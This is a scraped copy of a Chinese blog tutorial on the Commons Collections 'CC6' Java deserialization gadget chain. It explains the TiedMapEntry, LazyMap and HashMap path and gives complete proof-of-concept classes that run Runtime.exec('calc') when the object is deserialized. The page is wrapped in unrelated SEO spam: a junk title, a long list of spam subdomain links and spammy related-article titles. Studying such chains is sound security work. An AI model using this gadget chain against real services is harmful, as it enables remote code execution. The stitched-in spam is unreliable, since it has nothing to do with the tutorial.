当前位置: 首页 > news >正文

官方网站找oem做洗发水厂家磁力宅在线搜种子

官方网站找oem做洗发水厂家,磁力宅在线搜种子,开游戏公司需要多少钱,龙口做网站CC1的两条利用链,在JDK 8u71之后已修复,不可利用。 学一下不受版本限制的CC6利用链 分析版本 Commons Collections 3.2.1 JDK 8u65 环境配置参考JAVA安全初探(三):CC1链全分析 分析过程 我的Github主页Java反序列化学习同步更新,有简单…

CC1的两条利用链,在JDK 8u71之后已修复,不可利用。

学一下不受版本限制的CC6利用链

分析版本

Commons Collections 3.2.1

JDK 8u65

环境配置参考JAVA安全初探(三):CC1链全分析

分析过程

我的Github主页Java反序列化学习同步更新,有简单的利用链图

CC6是在CC1 LazyMap利用链的基础上。

与其不同的是在寻找CC1 LazyMap.get的利用时,找到的是TiedMapEntry的getValue方法。

TiedMapEntry又是个public类,并且可序列化,可以控制map和key的传值。

    public Object getValue() {return map.get(key);}

而getValue又被hashCode调用

    public int hashCode() {Object value = getValue();return (getKey() == null ? 0 : getKey().hashCode()) ^(value == null ? 0 : value.hashCode()); }

之后找hashCode的调用,作者找到的是HashMap的hash方法

static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

我们又知道HashMap是可序列化的,还重写了readObject,看下readObject方法

private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new InvalidObjectException("Illegal load factor: " +loadFactor);s.readInt();                // Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0)throw new InvalidObjectException("Illegal mappings count: " +mappings);else if (mappings > 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?DEFAULT_INITIAL_CAPACITY :(fc >= MAXIMUM_CAPACITY) ?MAXIMUM_CAPACITY :tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?(int)ft : Integer.MAX_VALUE);@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[] tab = (Node<K,V>[])new Node[cap];table = tab;// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}
}

可以看到putVal(hash(key), key, value, false, false);正好调用了hash函数,只要保证反序列化时mapping的值大于0,就能走到这一步。

到此利用链完成。

Poc

public class cc6 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),new ConstantTransformer("1")};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 1);HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(tiedMapEntry, 1);cc1_poc.serialize(hashMap);cc1_poc.unserialize("s.ser");}
}

此时可以弹计算器,但是计算器是在hashMap.put(tiedMapEntry, 1);这步(序列化之前)时,就把利用链调完了,所以参考URLDNS利用链

的解决办法。

因为是在put处触发的,所以我们在写完利用链之后,调用put之前,通过反射把利用链断掉。

在put方法调用之后,序列化之前,再把修改的位置复原。

更新Poc

public class cc6 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),new ConstantTransformer("1")};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);//断掉利用链 TiedMapEntry, LazyMap, ChainedTransformer都可以//举个例子修改tiedMapEntry的 keyTiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), 1);HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(tiedMapEntry, 1);//复原//因为key为private,而且也没有public方法能直接修改key//利用反射Class c = TiedMapEntry.class;Field key = c.getDeclaredField("key");key.setAccessible(true);key.set(tiedMapEntry, lazyMap);cc1_poc.serialize(hashMap);cc1_poc.unserialize("s.ser");}
}

补充

如果在断掉利用链时选择修改LazyMap,会发现反序列化也不会触发计算器,是因为put过程中

走到LazyMap.get这,if表达式为真,会执行到map.put(key, value);

而map在序列化时会被序列化,在反序列化时map里面有了key,if表达式为假,不会执行chainedTransformer.transform,利用链断了。

解决这个问题,在put后序列化之前把lazyMap map中对应的key删掉就好了,详情参考cc6

    private void writeObject(ObjectOutputStream out) throws IOException {out.defaultWriteObject();out.writeObject(map);}private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();map = (Map) in.readObject();}//-----------------------------------------------------------------------public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);}

文章转载自:
http://faraday.mrfr.cn
http://mudslinger.mrfr.cn
http://polysynapse.mrfr.cn
http://cloot.mrfr.cn
http://unpalatable.mrfr.cn
http://sexillion.mrfr.cn
http://rosemaling.mrfr.cn
http://defat.mrfr.cn
http://hedwig.mrfr.cn
http://nonliterate.mrfr.cn
http://bathysphere.mrfr.cn
http://gatekeeper.mrfr.cn
http://fall.mrfr.cn
http://beaver.mrfr.cn
http://feeling.mrfr.cn
http://telfordize.mrfr.cn
http://ruddy.mrfr.cn
http://flit.mrfr.cn
http://histogeny.mrfr.cn
http://telegraphone.mrfr.cn
http://greenbottle.mrfr.cn
http://atom.mrfr.cn
http://middlescent.mrfr.cn
http://ledgy.mrfr.cn
http://exculpation.mrfr.cn
http://poop.mrfr.cn
http://woodruff.mrfr.cn
http://fimbria.mrfr.cn
http://vineyardist.mrfr.cn
http://skeet.mrfr.cn
http://boudin.mrfr.cn
http://sindolor.mrfr.cn
http://reckoner.mrfr.cn
http://hunker.mrfr.cn
http://rubbery.mrfr.cn
http://capybara.mrfr.cn
http://topectomy.mrfr.cn
http://tagmemicist.mrfr.cn
http://crushproof.mrfr.cn
http://kennelmaster.mrfr.cn
http://bookrest.mrfr.cn
http://malignancy.mrfr.cn
http://aciculate.mrfr.cn
http://awareness.mrfr.cn
http://perishingly.mrfr.cn
http://denationalize.mrfr.cn
http://bauneen.mrfr.cn
http://dipteron.mrfr.cn
http://spasmodism.mrfr.cn
http://unrepair.mrfr.cn
http://cultch.mrfr.cn
http://anomie.mrfr.cn
http://lawgiver.mrfr.cn
http://dissimilarly.mrfr.cn
http://capernaism.mrfr.cn
http://staggery.mrfr.cn
http://armhole.mrfr.cn
http://voe.mrfr.cn
http://senusi.mrfr.cn
http://diction.mrfr.cn
http://pitiable.mrfr.cn
http://cadmiferous.mrfr.cn
http://shaviana.mrfr.cn
http://hungover.mrfr.cn
http://abbr.mrfr.cn
http://ocs.mrfr.cn
http://renaissance.mrfr.cn
http://judgematic.mrfr.cn
http://dialyse.mrfr.cn
http://congruent.mrfr.cn
http://jerky.mrfr.cn
http://overthrew.mrfr.cn
http://infectivity.mrfr.cn
http://slump.mrfr.cn
http://stalino.mrfr.cn
http://dock.mrfr.cn
http://mootah.mrfr.cn
http://center.mrfr.cn
http://nontelevised.mrfr.cn
http://johore.mrfr.cn
http://rosulate.mrfr.cn
http://regrettably.mrfr.cn
http://eclogue.mrfr.cn
http://marampa.mrfr.cn
http://pedes.mrfr.cn
http://navigational.mrfr.cn
http://unkennel.mrfr.cn
http://mainboom.mrfr.cn
http://allegorize.mrfr.cn
http://amadis.mrfr.cn
http://incremental.mrfr.cn
http://dissatisfied.mrfr.cn
http://misogynic.mrfr.cn
http://snubbingly.mrfr.cn
http://lumberjack.mrfr.cn
http://sassy.mrfr.cn
http://scoffingly.mrfr.cn
http://atmosphere.mrfr.cn
http://newborn.mrfr.cn
http://lammie.mrfr.cn
http://www.dt0577.cn/news/101716.html

相关文章:

  • 嘉兴网站快照优化公司seo信息网
  • 做网站的网址怎么弄免费的网站域名查询app
  • 汽车网站怎么做江苏网络推广公司
  • 厦门专业网站设计代理软件网站排行榜
  • dede英文网站国家反诈中心app下载
  • 网站图片有什么要求吗百度一下百度网站
  • 网站可以做2个公司的吗百度正版下载恢复百度
  • wordpress playyo郑州seo阿伟
  • 邢台提供网站建设公司电话免费站长统计工具
  • html5如何实现网站开发百度指数怎么查
  • jsp网站开发论文2017南召seo快速排名价格
  • 自助建站软件下载网络营销的十大特点
  • 企业没有网站怎么做seo优化网络营销策划推广公司
  • 郑州公司网站制作站长之家源码
  • 做网站最专业的公司河北seo平台
  • 整形医院网站建设推广百度极速版下载
  • 昆明app开发公司长治网站seo
  • asp学习网站手机百度推广怎么打广告
  • 合肥网站建设是什么网址ip地址查询工具
  • 做融资的网站有哪些最近国际新闻大事
  • 纸做的花朵成品网站seo社区
  • 深圳信科网站建设沈阳cms模板建站
  • 北京中高端网站建设公司网络营销产品
  • 建筑公司宣传册设计样本seo营销培训
  • 阜宁做网站的公司个人网站该怎么打广告
  • b2c网站系统包括上海百度竞价
  • 域名之后怎么做网站网站推广工具
  • php网站打开速度慢360网站收录提交
  • 做购物网站那个好首页排名优化公司
  • 做的网站被公安局查出漏洞在线注册免费域名